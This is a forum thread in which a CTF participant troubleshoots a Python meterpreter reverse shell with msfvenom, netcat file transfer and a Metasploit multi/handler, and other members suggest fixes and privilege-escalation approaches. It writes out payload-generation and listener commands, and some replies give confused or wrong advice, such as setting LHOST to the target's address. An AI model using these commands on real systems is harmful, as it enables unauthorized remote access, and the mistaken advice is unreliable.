[ph0bolus]

I'm currently trying to complete a ctf, and trying to gain root on the target linux system from my kali box.  I'm also logged on as a user on the target system as well.  

What I was trying to accomplish was execute a reverse shell then upgrade to meterpreter to gain root on the target system, but whenever I try to execute my payload on the target system, nothing happens.  

Here's a general walkthrough of what I've done so far: 

On Kali i've created a payload using msfvenom 

Code

msfvenom -p python/meterpreter/reverse_tcp -f raw lhost=<kali box> lport=4050 > payload.py

I then move it to the target box using netcat. 

Kali 

Code

nc -l 7001 < payload.py

Target

Code

nc <kali box> 7001 > payload.py

Then I fire up msfconsole and issue necessary commands, 


use exploit/multi/handler, use payload python/meterpreter/reverse_tcp,  set lhost <kali box>, and set lport 4050

then i issue the exploit command and it begins to listen.
I then go over to the target box, and try to execute the payload by issuing python payload.py but nothing happens on the Kali box. 

Any ideas on what I did wrong or assistance would be great, thanks!

[/wrists]

so the problem you're having is that you're telling the kali box to connect to itself here

Code

lhost=<kali box>

don't do that

use ifconfig to find out the machine's ip and put that there i.e. 192.168.x.x

[ph0bolus]

so the problem you're having is that you're telling the kali box to connect to itself here

Code

lhost=<kali box>

don't do that

That makes sense, when it says LHOST it kind of confused me because all the guides I've read used the attacking box IP instead of the target box IP.

[/wrists]

Let me know how it goes! Good luck with your CTF!

[ph0bolus]

Let me know how it goes! Good luck with your CTF!

Thanks! So, I created another python payload, using my target IP and set the port to 4010.  

Then transferred the python to my target linux box using netcat. 

In msfconsole, used the exploit/multi/handler, then used the newly created python/meterpreter/reverse_tcp payload, set LHOST to target IP and LPORT to 4010. Finally initiated the exploit. Then I get 

• Handler failed to bind to <target IP>4010
  


• Started reverse TCP handler on 0.0.0.0:4010 
  


• Starting the payload handler..
  

I tried executing the python on the target IP, but nothing happens once again.

I already completed it by booting to root, but apparently that's against the "rules"  😯

[/wrists]

Did you correctly port forward? or set your LHOST to 0.0.0.0

[ph0bolus]

Did you correctly port forward? or set your LHOST to 0.0.0.0

I'm not sure about port forwarding, but I set my LHOST to the target box (192.168.138.136).

[/wrists]

Try one and then the other. See if u can see the port on canyouseeme

[CyberStrike]

hmm you're not using the same port as the other connection are you? Second are you getting any errors when it runs? Are you also able to run the file access wise, you have to correct permissions? You are actually able to enumerate the environment just using your current session. and be able to find something exploitable just from that session. Check if say id command works if not and you get no output it maybe a restrictive shell.

[ph0bolus]

hmm you're not using the same port as the other connection are you? Second are you getting any errors when it runs?  Are you also able to run the file access wise, you have to correct permissions? You are actually able to enumerate the environment just using your current session. and be able to find something exploitable just from that session. Check if say id command works if not and you get no output it maybe a restrictive shell.

Which ports should I be using? When I NMap the target box the open ports are 22, 80, 139, 445, and 8080. Should I be using one of those in my payload? 

When I run the python script on the target machine, I get nothing.  Just a new line in the terminal. I'm logged in as a regular user, so no administrative privileges at all, and yes the ID command works on the target box.

[CyberStrike]

A reverse connection is going to connect to the attackers machine. Okay so at least you are not in a restrictive bash environment, that is good. If you have the shell in metasploit already you can try a post module to upgrade shell to meterpreter. Why not just try to escalate from that shell, by enumerating the packages installed, services running finding an exploit and getting it to the target machine then compile and run the exploit.

Edit: you can set a payload in the handler for a bind shell and interact with that listener .

[ph0bolus]

A reverse connection is going to connect to the attackers machine. Okay so at least you are not in a restrictive bash environment, that is good. If you have the shell in metasploit already you can try a post module to upgrade shell to meterpreter. Why not just try to escalate from that shell, by enumerating the packages installed, services running finding an exploit and getting it to the target machine then compile and run the exploit.

Edit: you can set a payload in the handler for a bind shell and interact with that listener .

Yeah, the problem is I don't have shell on metasploit. Whenever I execute the exploit command in metasploit I get this , imgur.com/2wFIMdz

[CyberStrike]

Is port 80 where netcat is listening on the target machine? I saw you using netcat to send files via port 7001, you will basically use metasploit to connect to the netcat listener on that target, keeping the same port and the target IP, also you will use a payload which reflects that you have to connect to that netcat, a bind payload, in the handler.

Basically instead of using netcat you are connecting via metasploit, not meterpreter yet until you upgrade your session, by using that post module I referred to on page 1.

[ph0bolus]

Is port 80 where netcat is listening on the target machine? I saw you using netcat to send files via port 7001, you will basically use metasploit to connect to the netcat listener on that target, keeping the same port and the target IP, also you will use a payload which reflects that you have to connect to that netcat, a bind payload, in the handler.

Basically instead of using netcat you are connecting via metasploit, not meterpreter yet until you upgrade your session, by using that post module I referred to on page 1.

Ok, so on my target box I need to set up a listener using netcat on whatever port and address I used in the payload I created and set in metasploit? 

I just thought once my payload was on the target machine I could just execute it and metasploit would recognize it and connect.

EDIT: I changed my payload port to 4050, set it to 4050 in metasploit on my attacking machine. I set up a netcat listener on port 4050. Ran the exploit and still nothing.

[CyberStrike]

I believe I have confused you. Read this

https://security.stackexchange.com/quest...eterperter

Definitions:

Target - Not your machine, but the machine you intend on compromising
payload for handler- examples meterpreter windows/shell_bind_tcp  windows/meterpreter/rev_tcp python/meterpreter/rev_tcp .. there are many
Attacker: Your computer/you


Assumptions by me:
1. You already had a listener on the target

Edit: I was thinking that you could (because you can in metasploit) connect to the netcat listener by using the correct handler and the correct "PAYLOAD" from there you use the post module which I mentioned.